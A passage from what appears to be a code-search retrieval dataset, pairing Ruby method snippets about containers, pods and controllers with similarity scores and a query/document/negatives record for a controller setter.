instances\n end", "def set_collection_ivar(objects) # rubocop:disable Naming/AccessorMethodName\n instance_variable_set collection_ivar, objects\n end", "def read_containers\n []\n end", "def removeAllContainers _args\n \"removeAllContainers _args;\" \n end", "def container_images\n add_properties(\n # TODO: (bpaskinc) old save matches on [:image_ref, :container_image_registry_id]\n # TODO: (bpaskinc) should match on digest when available\n # TODO: (mslemr) provider-specific class exists (openshift), but specs fail with them (?)\n :model_class => ::ContainerImage,\n :manager_ref => %i[image_ref],\n :delete_method => :disconnect_inv,\n :custom_reconnect_block => custom_reconnect_block\n )\n add_common_default_values\n end", "def set_container\n @container = Container.find(params[:id])\n end", "def set_container\n @container = Container.find(params[:id])\n end", "def container_images\n add_properties(\n # TODO: (bpaskinc) old save matches on [:image_ref, :container_image_registry_id]\n # TODO: (bpaskinc) should match on digest when available\n # TODO: (mslemr) provider-specific class exists (openshift), but specs fail with them (?)\n :model_class => ::ContainerImage,\n :manager_ref => %i[image_ref],\n :delete_method => :disconnect_inv\n )\n add_common_default_values\n end", "def flexmock_container=(container)\n end", "def flexmock_container=(container)\n end", "def services=(value)\n @services = value\n end", "def start_all_containers\n system('docker compose -f docker-compose.yml up -d')\nend", "def ecs_wait_container_instances\n @ecs_wait_container_instances = true\n end", "def get_running_containers\n\n containers = []\n running_tasks = get_list_tasks_result\n running_tasks.task_arns.each do |task_arn|\n containers << RaisEcs::Container.new({\n cloud: @cloud,\n cluster: @cluster,\n service: self,\n task_arn: task_arn\n })\n end\n\n return containers\n\n end", "def set_container\n @container = Container.find(params[:container_id])\n @container_clone = @container.dup\n @container_clone.container_fluid = @container.css_classes =~ /container-fluid/ ? 'yes' : 'no' \n end", "def container\n @container ||= Container.new(spec[:containers].first)\n end", "def probe_sets=(probe_sets)\n @probe_sets = Array(probe_sets).flatten\n end", "def pod_ip=(value)\n @pod_ip = value\n end", "def pods\n groups.find { |g| g.name == 'Pods' }\n end", "def instances=(instances)\n @controller.instance_variable_set(:\"@#{plural_instance_name}\", instances)\n end", "def running_container_count\n `#{setup_docker_env_vars_str} docker ps`.split(\"\\n\").size - 1\nend", "def components=(value)\n @components = value\n end", "def all\n containers = service.list_containers\n data = []\n containers.each do |container|\n c = parse_storage_object(container)\n c[:acl] = 'unknown'\n data << c\n end\n load(data)\n end", "def describe_container_instances(params={})\n if instances = params.delete('containerInstances')\n params.merge!(Fog::AWS.indexed_param('containerInstances.member', [*instances]))\n end\n\n request({\n 'Action' => 'DescribeContainerInstances',\n :parser => Fog::Parsers::AWS::ECS::DescribeContainerInstances.new\n }.merge(params))\n end", "def enterprise_proxy_servers=(value)\n @enterprise_proxy_servers = value\n end", "def get_containers_by(params)\n @containers.values.select do |container|\n (params.to_a - container.attributes.to_a).empty?\n end\n end", "def list # rubocop:disable Metrics/AbcSize\n if @options[:container]\n containerview = ObjectStorage.new(@options[:id_domain], @options[:user_name], @options[:passwd])\n containerview = containerview.contents(@options[:container])\n if containerview.code == '201' || containerview.code == '200'\n containerview.body\n elsif containerview.code == '204'\n print 'the container is empty'\n else\n @util.response_handler(containerview)\n end\n else\n newcontainer = ObjectStorage.new(@options[:id_domain], @options[:user_name], @options[:passwd])\n newcontainer = newcontainer.list\n @util.response_handler(newcontainer)\n newcontainer.body if newcontainer.code == '200'\n puts 'there are no containers' if newcontainer.code == '204'\n end \n end", "def containers_for_image(img = docker_image)\n `docker ps -aq -f ancestor=#{img}`.split(\"\\n\")\n end", "def test_Container\n skip 'requires root privs' unless Process.euid == 0\n launchctl \"load #{@fixturesdir}/com.example.container.plist\"\n assert_match 'com.example.container', launchctl('list')\n end", "def prune params = {}\n @connection.post(build_path(\"/containers/prune\", params))\n end", "def set_env_variables(container_names = '*', block: false, timeout: 60, polling: 5, **env)\n env_strings = env.map { |k, v| v ? \"#{k}=#{v}\" : \"#{k}-\" }\n log.info \"Setting env variables (#{env_strings}) for #{name}/#{container_names}\"\n @parent.execute('set env', \"dc/#{name}\", *env_strings, containers: container_names)\n sleep polling\n wait_for_deployments(timeout: timeout, polling: polling) if block\n reload(true)\n @_env = nil\n end", "def containers\n return @containers unless @containers.nil?\n container_codes = []\n codes = code.split('|')\n container_codes << (codes = codes[0..-2]).join('|') while codes.size > 1\n # first is country code\n @containers = [country]\n # second, third can be parent administrative division if not nil\n # NOTE container codes is like: [\"ES|58|PO\", \"ES|58\", \"ES\"] (country is last)\n @containers += Division.find_all_by_code container_codes[0..-2], :order => :level if container_codes.size > 1\n return @containers\n end", "def container(property)\n return '@set' if property == '@graph'\n @containers.fetch(property.to_s, nil)\n end", "def in_service_instances\n instances([{name: :lifecycle_state, value: \"InService\"}])\n end", "def update_lb_servers\n clean_up\n @hosts.each do |host|\n Docker.url = \"tcp://#{host}:#{@docker_port}/\"\n containers = Docker::Container.all(all: true, filters: { ancestor: [@ws_image], status:['running'] }.to_json)\n containers.each do |container|\n port = container.json['HostConfig']['PortBindings']['8070/tcp'][0]['HostPort']\n register_container(host, port, container.id)\n end\n end\n end", "def virtual_cpus=(value)\n FFI::Libvirt.virDomainSetVcpus(self, value) == 0\n end", "def catalogs=(value)\n @catalogs = value\n end", "def objects=(value)\n # join the array of objects to backup into something usable\n objects = value.join(',')\n veeamconfig('job', 'edit', '--objects', \"#{objects}\", 'for', '--name', \"#{@resource[:name]}\")\n end", "def cache_pods(*new_pods)\n new_pods.each {|p| @pods.delete(p); @pods << p}\n end", "def list_ip(containers) # rubocop:disable Metrics/AbcSize\n @options[:container] = containers\n container\n instance_data = list.body\n instance_data = JSON.parse(instance_data)\n vcableid = instance_data['vcable_id']\n abort('Error network configuration is not present') if vcableid.nil?\n internalip = instance_data['ip']\n iputil = IPUtil.new(id_domain, user, passwd, restendpoint)\n basecontainer = containers.split('/')\n usercontainer = '/' + basecontainer[1] + '/' + basecontainer[2] + '/' \n vcabledetails = JSON.parse(iputil.discover(usercontainer, 'vcable', vcableid, 'association').body)\n vcabledetails = vcabledetails['result']\n vcabledetails = vcabledetails.at(0)\n extipaddress = vcabledetails['ip']\n return internalip, extipaddress\n end", "def stored_sandbox_podspecs\n @stored_sandbox_podspecs ||= {}\n end", "def index\n @containers = Container.all\n end", "def words_container\n @@container || @@default_container\n end", "def inspect(container_s)\n containers = container_s\n containers = [containers] unless container_s.is_a?(Array)\n return [] if containers.empty?\n out = run!('inspect', containers)\n result = JSON.parse(out).map { |c| Container.new(c, session:self)}\n if container_s.is_a?(Array)\n result\n else\n result.first\n end\n end", "def update!(**args)\n @container_runtime = args[:container_runtime] if args.key?(:container_runtime)\n @max_pods_per_node = args[:max_pods_per_node] if args.key?(:max_pods_per_node)\n end", "def enterprise_internal_proxy_servers=(value)\n @enterprise_internal_proxy_servers = value\n end", "def users=(value)\n @users = value\n end", "def executables=(value)\n @executables = Array(value)\n end", "def apps=(value)\n @apps = value\n end", "def list_container_projects(opts = {})\n data, _status_code, _headers = list_container_projects_with_http_info(opts)\n data\n end", "def servers=(servers)\r\n @servers = {}\r\n servers.each{|s| @servers[s.host] = s}\r\n end", "def items=(value)\n @items = value\n end", "def items=(value)\n @items = value\n end", "def set_servers(servers)\n servers = Array(servers)\n servers.map! do |server|\n server.is_a?(String) ? server : inspect_server(server)\n end\n super\n end", "def cleanup_old_containers\n thread_pool = []\n Docker::Container.all(all: true).select { |c| c.info['Status'] =~ /^Exited/ }.each do |container|\n thread_pool << Thread.new do\n logger.info msg \"Removing container: #{container.info.to_json}\"\n container.remove\n end\n end\n if thread_pool.empty?\n logger.info msg \"No containers need to be cleaned up\"\n else\n logger.info msg \"Waiting for old containers to be cleaned up\"\n ThreadsWait.all_waits(*thread_pool)\n end\n end", "def build_containers_tree\n TreeBuilderContainers.new(\"containers_tree\", \"containers\", @sb)\n end", "def get_nodes\n nodes = []\n\n self.get_running_containers.each do |container|\n nodes << container.get_node\n end\n\n return nodes\n\n end", "def categories=(value)\n\t\t@categories = value\n\tend", "def categories=(value)\n\t\t@categories = value\n\tend", "def categories=(value)\n\t\t@categories = value\n\tend", "def index_containers(opts = {})\n data, _status_code, _headers = index_containers_with_http_info(opts)\n data\n end", "def containers\n t = Liquid::Template.parse(template)\n t.root.nodelist.select{ |t| t.kind_of? LiquidTags::ContainsBlock }.collect{ |c| c.container_name }\n end", "def container_params\n params.require(:container).permit(:name, :image, :command, :exposed_port, :host_port, :server_id)\n end", "def container_array(c)\n c = c || TagExtractor::words_container\n c = c.split ''\n end", "def update!(**args)\n @container_port = args[:container_port] if args.key?(:container_port)\n end", "def container\n @container ||= find_or_create_container\n end", "def collections_to_remove=(collection_ids)\n collection_ids.reject {|id| id.blank?}.map {|id| id.strip}.each do |id|\n c = Collection.find(id) || nil\n remove_from_collection(c)\n end\n end", "def set_serverhascontainer\n @serverhascontainer = Serverhascontainer.find(params[:id])\n end" ]
[ "0.70891976", "0.6731775", "0.65368944", "0.6155096", "0.600326", "0.6000397", "0.5925121", "0.5860609", "0.57814556", "0.5621611", "0.553374", "0.540802", "0.5395047", "0.5392625", "0.5353763", "0.5271195", "0.51799804", "0.516874", "0.5147814", "0.5061929", "0.5038068", "0.5008988", "0.4974889", "0.49125418", "0.48607823", "0.48439622", "0.46855497", "0.46847317", "0.46642226", "0.46642226", "0.46469554", "0.46463895", "0.46091476", "0.45960176", "0.4568062", "0.45571467", "0.45507455", "0.45435444", "0.45435444", "0.45277828", "0.4509332", "0.4509332", "0.45058623", "0.4505441", "0.44879392", "0.448363", "0.44754416", "0.44694805", "0.44510907", "0.44466332", "0.44346663", "0.44095156", "0.44062677", "0.43963307", "0.43887532", "0.43883368", "0.43768114", "0.43649223", "0.43265605", "0.4312718", "0.43051082", "0.4304181", "0.42969254", "0.42924082", "0.4266884", "0.42633644", "0.42615736", "0.42569858", "0.42467767", "0.4246233", "0.42410403", "0.4240781", "0.42051205", "0.4202767", "0.4185756", "0.41788596", "0.4172577", "0.416429", "0.4160755", "0.4159664", "0.41480833", "0.41450602", "0.4137939", "0.41374764", "0.41374764", "0.41362894", "0.4135112", "0.4134638", "0.41324493", "0.41305107", "0.41305107", "0.41305107", "0.41291142", "0.41203332", "0.41150752", "0.41141734", "0.4111731", "0.41089293", "0.4092808", "0.40911496" ]
0.8103989
0
Gets the controller property value. The pod controller.
def controller return @controller end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def controller=(value)\n @controller = value\n end", "def controller=(value)\n @property_flush[:controller] = value\n end", "def controller client\n client.env[CONTROLLER_NAME]\n end", "def controller\n MSPhysics::Newton::CurvySlider.get_controller(@address)\n end", "def controller\n MSPhysics::Newton::CurvySlider.get_controller(@address)\n end", "def controller\n @controller ||= controller_name.constantize\n end", "def controller\n @params['controller'] || @params[:controller]\n end", "def current\n Thread.current[:CURRENT_CONTROLLER]\n end", "def controller\n platform_service(:controller)\n end", "def controller\n @controller\n end", "def controller\n MSPhysics::Newton::BallAndSocket.get_controller(@address)\n end", "def get_controller\n @controller_name = params[:controller]\n end", "def controller_class\n @controller_class ||= @controller&.class || self.class.class_for(@key)\n end", "def controller\n @controller ||= ApplicationController.new\n end", "def controller_name\n self.request.route_obj.instance_variable_get('@controller')\n end", "def controller\n MSPhysics::Newton::Hinge.get_controller(@address)\n end", "def controller(name)\n controllers.select { |a| a.name == name }.first\n end", "def controller\n if nextResponder && nextResponder.is_a?(UIViewController)\n nextResponder\n elsif nextResponder\n nextResponder.controller\n else\n nil\n end\n end", "def controller\n if nextResponder && nextResponder.is_a?(UIViewController)\n nextResponder\n elsif nextResponder\n nextResponder.controller\n else\n nil\n end\n end", "def controller_name\n @controller_name ||=\n if @resource_options.key?(:controller_name)\n tools.string.underscore(@resource_options.fetch(:controller_name)).\n sub(/_controller\\z/, '')\n else\n plural_resource_name\n end # if-else\n end", "def controller\n self::Controller\n end", "def controller_name\n self.class.controller_name\n end", "def controller=(value)\n Thread.current[:authlogic_controller] = value\n end", "def controller=(value)\n Thread.current[:authlogic_controller] = value\n end", "def controller=(value)\n MSPhysics::Newton::BallAndSocket.set_controller(@address, value)\n end", "def controller_name\n @controller_name ||= controller.class.to_s.sub('Controller', '').underscore\nend", "def controller_path\n @controller_path ||= name.delete_suffix(\"Controller\").underscore unless anonymous?\n end", "def controller=(value)\n MSPhysics::Newton::CurvySlider.set_controller(@address, value)\n end", "def controller=(value)\n MSPhysics::Newton::CurvySlider.set_controller(@address, value)\n end", "def controller_model\n @controller_model ||= begin\n controller_name.singularize.camelize.constantize\n rescue\n nil\n end\n end", "def controller(data)\n path = data.get(:path)\n path = path.native if path.is_a?(WAB::Data)\n return path_controller(path) unless path.nil? || (path.length <= @path_pos)\n\n content = data.get(:content)\n return @controllers[content.get(@type_key)] || default_controller unless content.nil?\n\n default_controller\n end", "def id\n if @controller_config.controller\n @controller_config.controller.name\n else\n # If an API doesn't quite have the controller defined, let's use the name from the resource definition\n @controller_config.name\n end\n end", "def controller\n self\n end", "def compete_controller\n @kernel.resources.controllers.compete\n end", "def controller\n nil\n end", "def controller\n @controller ||= MainController.new\n end", "def controller_path\n self.class.controller_path\n end", "def controller_id\n @controller_id ||= 'as_' + (params[:eid] || params[:parent_controller] || params[:controller]).gsub(\"/\", \"__\")\n end", "def controller_name(node)\n if option_with_hash(node)\n option_node = node.arguments.all[1]\n name =\n if hash_key_exist?(option_node, 'controller')\n option_node.hash_value('controller').to_s\n else\n node.arguments.all.first.to_s.gsub('::', '').tableize\n end\n else\n name = node.arguments.all.first.to_s.gsub('::', '').tableize\n end\n namespaced_class_name(name)\n end", "def instance\n @controller.instance_variable_get(:\"@#{instance_name}\")\n end", "def controller_name\n \"#{self.class.app_namespace}::#{@controller_name}\"\n end", "def controller_full_name\n controller.class.name.sub('Controller','').gsub('::','_').underscore\n end", "def controller_to_name(v = nil)\n v ||= request_parameters\n v = v[:controller] || v['controller'] if v.is_a?(Hash)\n if v.is_a?(String) || v.is_a?(Symbol)\n v.to_s.strip.underscore.delete_suffix('_controller')\n else\n # noinspection RailsParamDefResolve\n v.try(:controller_name)\n end\n end", "def controller_name\n path = segments[2..-2].join('/')\n path < 'a' ? path : camelize(path)+\"Controller\"\n end", "def get_formatted_controller_name\n params[:controller]\n end", "def people_controller\n @kernel.resources.controllers.people\n end", "def parent\n @controller.instance_variable_get(:\"@#{parent_name}\")\n end", "def set_controller\n @controller = Controller.find(params[:id])\n end", "def active_controller\n if self.delegate.nil? then\n return self\n else\n return self.delegate.active_controller\n end\n end", "def get_controller_for_url_generation(opts)\n controller = opts[:controller] || @web_controller.params[:controller]\n raise \"No Controller Specified for url()\" unless controller\n controller\n end", "def controller_name\n self.class.to_s\n end", "def controller_name\n [namespace.module_name, resource_name.plural.camelize + \"Controller\"].compact.join(\"::\")\n end", "def pod_ip\n return @pod_ip\n end", "def get_controller_for_url_generation(opts)\n controller = opts[:controller] || @web_controller.params[:controller]\n raise \"No Controller Specified for url()\" unless controller\n controller\n end", "def controller_layout\n layout = self.send(:_layout)\n if layout.instance_of? String\n layout\n else\n File.basename(layout.identifier).split('.').first\n end\n end", "def get_resource_ivar\n instance_variable_get(\"@#{self.controller_name.singularize}\")\n end", "def model\n\t\tObject.const_get(controller_name.classify)\n\tend", "def value\n @property_hash[:value]\n end", "def parent_controller\n (@parent_controller || \"ApplicationController\").to_s.constantize\n end", "def get_controller_file(controller)\n ::File.expand_path(\"../../../app/controllers/#{controller}_controller.rb\", __FILE__)\n end", "def parent_controller_name\n @parent_controller\nend", "def boss_controller\n disk_controllers = controller_views\n disk_controller = disk_controllers.find { |c| c[:product_name].include?(\"BOSS\") }\n return nil unless disk_controller\n\n disk_controller[:fqdd]\n end", "def controller=(value)\n MSPhysics::Newton::Hinge.set_controller(@address, value)\n end", "def controller_plugin_const(plugin_symbol)\n ::Sorcery::Plugins.plugin_const(plugin_symbol).const_get('Controller')\n end", "def extract_controller_from(context)\n if context.respond_to?(:controller)\n context.controller\n else\n context\n end\n end", "def controller_name\n self.name.underscore.pluralize\n end", "def controller\n nil\n end", "def controller\n nil\n end", "def controller_config(resource)\n {\n :controller => resource[:controller],\n :ctrluser => resource[:ctrluser],\n :ctrlpasswd => resource[:ctrlpasswd]\n }\n end", "def get_current_pod_id\n config = get_config['pod_file']\n return nil unless config\n apps = admo_account.apps\n p = apps.select{|a| a.pod_name == config}\n first = p.first\n return first.id if first\n return nil\n end", "def controller\n Thread.current[:authlogic_controller]\n end", "def controller_css_class\n controller_name\n end", "def path_controller(path)\n @controllers[path[@path_pos]] || default_controller\n end", "def get_controller_for_url_generation(opts)\n controller = opts[:controller] || ( @base_controller.params[:controller] if @base_controller)\n raise \"No Controller Specified for url()\" unless controller\n controller\n end", "def content_controller\n main_controller.content_controller\n end", "def lens_key\n Blacklight::Lens.key_for(controller_name, false)\n end", "def controller\n Notifierrails.controller\n end", "def controller_instance(controller_class)\n # ensure protocol compliance\n unless controller_class.method_defined?(:call) \\\n && controller_class.instance_method(:call).arity == 2\n return\n end\n controller = controller_class.new\n controller.kenji = self if controller.respond_to?(:kenji=)\n return controller if controller\n nil # default return value\n end", "def controller(controller)\n scenario.controller = controller\n end", "def controller\n ApplicationController\n end", "def sidebar_active_controller(controller_name)\n unless params[:controller].nil?\n if params[:controller].casecmp(controller_name) == 0\n return 'active'\n end\n end\n\n return ''\n end", "def assigns(key)\n controller.instance_variable_get(\"@#{key}\")\n end", "def assigns(key)\n controller.instance_variable_get(\"@#{key}\")\n end", "def controller_params\n @controller.params\n end", "def default_object\n @_scope.respond_to?(:controller) ?\n instance_variable_get(\"@#{@_scope.controller.controller_name}\") :\n nil\n end", "def controller\n self\n end", "def class_settings\n if controller.controller_name == 'settings'\n \"current\"\n end\n end", "def controllers_path\n (RUBYCOCOA_ROOT + 'app/controllers').to_s\n end", "def get_pod_name(namespace, index)\n `kubectl get pods -n #{namespace} | awk 'FNR == #{index + 1} {print $1}'`.chomp\nend", "def scsi_controller_item\n find_item('SCSI Controller')\n end", "def property\n @property\n end", "def controller_name; end", "def controller_name; end", "def get\n @value\n end", "def replace_current(controller) # :nodoc:\n old = Thread.current[:CURRENT_CONTROLLER]\n Thread.current[:CURRENT_CONTROLLER] = controller\n return old\n end", "def get_controller_native_serializer_config\n return nil unless @controller\n\n if @many == true\n controller_serializer = @controller.try(:native_serializer_plural_config)\n elsif @many == false\n controller_serializer = @controller.try(:native_serializer_singular_config)\n end\n\n return controller_serializer || @controller.try(:native_serializer_config)\n end", "def controller_class; end", "def controller_class; end", "def model_identifier\n @controller.model_identifier\n end", "def main_controller\n window.rootViewController\n end" ]
[ "0.66547716", "0.6534098", "0.6431632", "0.6352281", "0.6352281", "0.63509214", "0.62173706", "0.60733", "0.60723096", "0.60187113", "0.60064083", "0.5960757", "0.58094335", "0.5804069", "0.572883", "0.5721424", "0.5711408", "0.56776834", "0.56776834", "0.5660755", "0.5642541", "0.5627357", "0.56028783", "0.56028783", "0.55406517", "0.55389047", "0.55343145", "0.550623", "0.550623", "0.54696316", "0.54620653", "0.5458608", "0.539128", "0.5389678", "0.5383155", "0.5373118", "0.5265196", "0.52617586", "0.52363664", "0.5217867", "0.5204379", "0.51982564", "0.519225", "0.517836", "0.5157435", "0.51481783", "0.51315874", "0.5128745", "0.5122686", "0.51048535", "0.5093835", "0.50938326", "0.507603", "0.50630873", "0.50443417", "0.5043394", "0.50403917", "0.5022241", "0.5000655", "0.4981484", "0.49721837", "0.49574602", "0.49462783", "0.49358007", "0.49297905", "0.49292713", "0.49273917", "0.49273917", "0.4925434", "0.49233195", "0.49193832", "0.49181798", "0.49036363", "0.4902918", "0.4896339", "0.48954946", "0.48918533", "0.4876345", "0.4874524", "0.48716787", "0.48579228", "0.4855295", "0.4855295", "0.48520297", "0.48509815", "0.48496452", "0.48405996", "0.48312783", "0.48260757", "0.4825407", "0.48238215", "0.48161626", "0.48161626", "0.48149103", "0.47962615", "0.47803527", "0.47761866", "0.47761866", "0.47677162", "0.47626844" ]
0.65726924
1
Sets the controller property value. The pod controller.
def controller=(value) @controller = value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def controller=(value)\n @property_flush[:controller] = value\n end", "def controller=(value)\n MSPhysics::Newton::BallAndSocket.set_controller(@address, value)\n end", "def controller=(value)\n MSPhysics::Newton::CurvySlider.set_controller(@address, value)\n end", "def controller=(value)\n MSPhysics::Newton::CurvySlider.set_controller(@address, value)\n end", "def controller=(value)\n Thread.current[:authlogic_controller] = value\n end", "def controller=(value)\n Thread.current[:authlogic_controller] = value\n end", "def controller=(value)\n MSPhysics::Newton::Hinge.set_controller(@address, value)\n end", "def set_controller\n @controller = Controller.find(params[:id])\n end", "def controller(controller)\n scenario.controller = controller\n end", "def set_controller(controller)\n @routes = ::Rails.application.routes\n @controller = controller.new\n end", "def set_coffee_pod\n @coffee_pod = CoffeePod.find(params[:id])\n end", "def controller\n @controller ||= ApplicationController.new\n end", "def set(variable, value)\n controller.instance_variable_set(\"@#{variable}\", value)\n end", "def create_controller(controller)\n case controller\n when String\n controller = Object.const_get(controller).new(self)\n when Class\n controller = controller.new(self)\n end\n controller.shell = self\n controller\n end", "def set_maker_pod\n @maker_pod = MakerPod.find(params[:id])\n end", "def controller\n platform_service(:controller)\n end", "def controller\n @controller ||= controller_name.constantize\n end", "def register_controller(controller)\n @controller = controller\n end", "def controller(controller)\n @scope = @scope.new(controller: controller)\n yield\n ensure\n @scope = @scope.parent\n end", "def controller=(_arg0); end", "def controller=(_arg0); end", "def controller=(_arg0); end", "def instance=(instance)\n @controller.instance_variable_set(:\"@#{instance_name}\", instance)\n end", "def register_controller(type, controller)\n case controller\n when String\n controller = Object.const_get(controller).new(self)\n when Class\n controller = controller.new(self)\n end\n controller.shell = self\n @controllers[type] = controller\n end", "def initialize(controller)\n @controller = controller\n end", "def controller\n @controller ||= MainController.new\n end", "def parent=(instance)\n @controller.instance_variable_set(:\"@#{parent_name}\", instance)\n end", "def initialize(controller)\n @controller = controller\n end", "def setup_controller(controller, env, vars)\n controller.env = env\n controller.headers = {}\n\n setup_controller_params(controller, env, vars)\n\n controller.cookies = Fastr::HTTP.parse_cookies(env)\n controller.app = self\n end", "def controller client\n client.env[CONTROLLER_NAME]\n end", "def with_controller(new_controller)\n controller_save = @controller\n begin\n @controller = new_controller\n yield\n ensure\n @controller = controller_save\n end\n end", "def set_rcontroller\n @rcontroller = Rcontroller.find(params[:id])\n end", "def controller\n @controller\n end", "def for(controller)\n @controller = controller\n build!\n compute_active!\n self\n end", "def initialize(controller)\n @controller = controller\n end", "def initialize(controller)\n @controller = controller\n end", "def controller(controller); end", "def with_controller(new_controller)\n controller_save = @controller\n begin\n @controller = new_controller\n yield\n ensure\n @controller = controller_save\n end\n end", "def set_test_controller\n @test_controller = TestController.find(params[:id])\n end", "def init_controller(model, the_controller)\n Lorj.debug(1, \"Loading Controller/definition '%s'\", the_controller)\n\n ok = load_controller(model, the_controller)\n\n PrcLib.warning(\"Controller '%s' not properly loaded.\",\n the_controller) unless ok\n\n model\n end", "def controller_class\n @controller_class ||= @controller&.class || self.class.class_for(@key)\n end", "def set_Property(value)\n set_input(\"Property\", value)\n end", "def controller\n self::Controller\n end", "def controller_instance(controller_class)\n # ensure protocol compliance\n unless controller_class.method_defined?(:call) \\\n && controller_class.instance_method(:call).arity == 2\n return\n end\n controller = controller_class.new\n controller.kenji = self if controller.respond_to?(:kenji=)\n return controller if controller\n nil # default return value\n end", "def controller\n MSPhysics::Newton::CurvySlider.get_controller(@address)\n end", "def controller\n MSPhysics::Newton::CurvySlider.get_controller(@address)\n end", "def controller\n @params['controller'] || @params[:controller]\n end", "def controller(&block)\n @config.controller.class_exec(&block) if block_given?\n @config.controller\n end", "def controller\n return @controller\n end", "def set_type\n @type = controller_name.classify\n end", "def set_type\n @type = controller_name.classify\n end", "def controller\n nil\n end", "def normalize_controller!\n if controller\n if controller.start_with?(\"/\")\n @options[:controller] = controller[1..-1]\n else\n @options[:controller] = controller\n end\n end\n end", "def pod_ip=(value)\n @pod_ip = value\n end", "def controller_assigns_propagate_to_partials=(new_value)\n @controller_assigns_propagate_to_partials = (new_value ? :true : :false)\n end", "def set_property\n @property = current_client.properties.find(params[:id])\n end", "def set_pc\n @pc = Pc.find(params[:pc_id])\n end", "def touch_controller(klass)\n klass.controller_class\n end", "def set_to(value)\n @native.set_current_value(value)\n end", "def value=(new_value)\n if @value.nil?\n @value = new_value\n else\n api.put_config_vars app.name, key => new_value\n @value = new_value\n end\n end", "def setValue(value)\n @value = value\n end", "def update_controller(uri)\n\t\tif uri.nil? or uri.length==0\n\t\t\tself.log \"Not updating controller: nil\"\n\t\t\treturn\n\t\tend\n\n\t\tif uri!=@controller_uri\n\t\t\tself.log \"Updating from controller #{@controller_uri} to #{uri}\"\n\t\t\tif not @controller_uri.nil?\n\t\t\t\tbegin\n\t\t\t\t\t# if we need to build a new ACL, we have to stop the service first\n\t\t\t\t\tif (@acl && Prober::uri2host(uri)!=Prober::uri2host(@controller_uri))\n\t\t\t\t\t\tself.log(\"Stopping service for new ACL\\n#{ Prober::build_acl(uri)}\\n#{self.drb.config[:tcp_acl]}\")\n\t\t\t\t\t\tself.stop_service\n\t\t\t\t\telse\n\t\t\t\t\t\tself.log(\"Unregistering for new controller\")\n\t\t\t\t\t\tself.unregister\n\t\t\t\t\tend\n\t\t\t\trescue Exception\n\t\t\t\t\tself.log \"Exception: Unable to unregister from #{@controller_uri} #{$!.to_s}\", $VP_ERROR\n\t\t\t\tend\n\t\t\tend\n\t\t\t@controller_uri=uri\n\t\t\tself.register\n\t\tend\n\tend", "def replace_current(controller) # :nodoc:\n old = Thread.current[:CURRENT_CONTROLLER]\n Thread.current[:CURRENT_CONTROLLER] = controller\n return old\n end", "def initialize(controller)\n end", "def set_component_settings_value(index, value)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n if value.handle.ptr == nil\n raise \"value is disposed\"\n end\n Native.LayoutEditor_set_component_settings_value(@handle.ptr, index, value.handle.ptr)\n value.handle.ptr = nil\n end", "def set_resource_ivar(resource)\n instance_variable_set(\"@#{self.controller_name.singularize}\", resource)\n end", "def load_controller(model, the_controller)\n load_process_controller(model, the_controller)\n\n the_controller = the_controller.to_s unless the_controller.is_a?(String)\n if the_controller.include?('/')\n file = File.expand_path(the_controller)\n else\n file = controllerfile_from_default(model, the_controller)\n end\n\n return PrcLib.warning('Controller not loaded: Controller file '\\\n \"definition '%s' is missing.\",\n file) unless File.exist?(file)\n load_controllerfile(model, file, classname_from_file(file))\n end", "def controller\n @controller ||= Authlogic::TestCase::MockController.new\n end", "def _process_module_set_ctr(my_process, controllers, controller_name)\n return if controller_name.nil?\n\n unless controller_name.is_a?(String)\n controller_name = controller_name.to_s\n end\n controller_path = controllers[controller_name]\n\n if controller_path.nil?\n PrcLib.warning(\"Controller '%s' was not found. Please check. The \"\\\n \"process may not work. \\nValid one are '%s'\",\n controller_name, controllers.keys)\n return\n end\n\n my_process[:controller_path] = controller_path\n my_process[:controller_name] = controller_name\n end", "def set_pc\n @pc = Pc.find(params[:id])\n end", "def set_pc\n @pc = Pc.find(params[:id])\n end", "def with_controller(controller_class, &block)\n old_controller = @controller\n @controller = controller_class.new\n rc = yield(controller_class)\n @controller = old_controller\n rc\n end", "def controller\n end", "def controller\n end", "def barn_controller!\n @controller = Class.new(ApotomoController) do\n def initialize(*)\n super\n self.request = ActionController::TestRequest.new\n end\n \n def self.name; \"BarnController\"; end\n \n def self.default_url_options; {:controller => :barn}; end\n end.new\n end", "def wrap_with_controller(new_controller = Kaui::SessionsController)\n old_controller = @controller\n @controller = new_controller.new\n yield\n @controller = old_controller\n end", "def set(value)\n value\n end", "def add_controller(controller, klass)\n unless present?(controller)\n raise Vedeu::Error::MissingRequired,\n 'Cannot store controller without a name attribute.'\n end\n\n Vedeu.log(type: :create,\n message: \"Controller: ':#{controller}'\")\n\n if registered?(controller)\n storage[controller][:klass] = klass\n\n else\n storage.store(controller, klass: klass, actions: [])\n\n end\n\n storage\n end", "def use_custom_controller(controller, &block)\n old_controller = self.class.controller_class\n begin\n self.class.controller_class = controller\n yield\n ensure\n self.class.controller_class = old_controller\n end\n end", "def update\n respond_to do |format|\n if @controller.update(controller_params)\n format.html { redirect_to @controller, notice: \"Controller was successfully updated.\" }\n format.json { render :show, status: :ok, location: @controller }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @controller.errors, status: :unprocessable_entity }\n end\n end\n end", "def controller\n self\n end", "def controller\n MSPhysics::Newton::BallAndSocket.get_controller(@address)\n end", "def create_controller\n template \"controller.rb\", controller\n end", "def load\n @load_controller = @controller\n end", "def set_resource value\n instance_variable_set(resource_name, value)\n end", "def new_controller\n print 'Controller class name: '\n controller_name = STDIN.gets.chomp\n\n dir_controllers = get_or_create_controllers_folder\n group_controllers = get_or_create_xcode_controllers_group\n\n create_base_if_needed\n\n controller_properties = @view_generator.get_properties\n controller_snippets = create_controller_snippets controller_properties\n\n controller_fileref = @view_generator.write_template\"#{TEMPLATE_PATH}ControllerTemplate.swift\",\n \"#{controller_name}ViewController.swift\",\n dir_controllers,\n group_controllers,\n {'___CONTROLLERNAME___' => \"#{controller_name}\"},\n controller_snippets\n\n controller_viewmodel_snippets = create_viewmodel_snippets controller_properties\n controller_r_fileref = @view_generator.write_template\"#{TEMPLATE_PATH}ControllerViewModelTemplate.swift\",\n \"#{controller_name}ViewModel.swift\",\n dir_controllers,\n group_controllers,\n { '___CONTROLLERNAME___' => controller_name },\n controller_viewmodel_snippets\n\n @target.add_file_references([controller_fileref, controller_r_fileref])\n end", "def wrap_with_controller(new_controller = Kaui::SessionsController)\n old_controller = @controller\n @controller = new_controller.new\n yield\n @controller = old_controller\n end", "def wrap_with_controller(new_controller 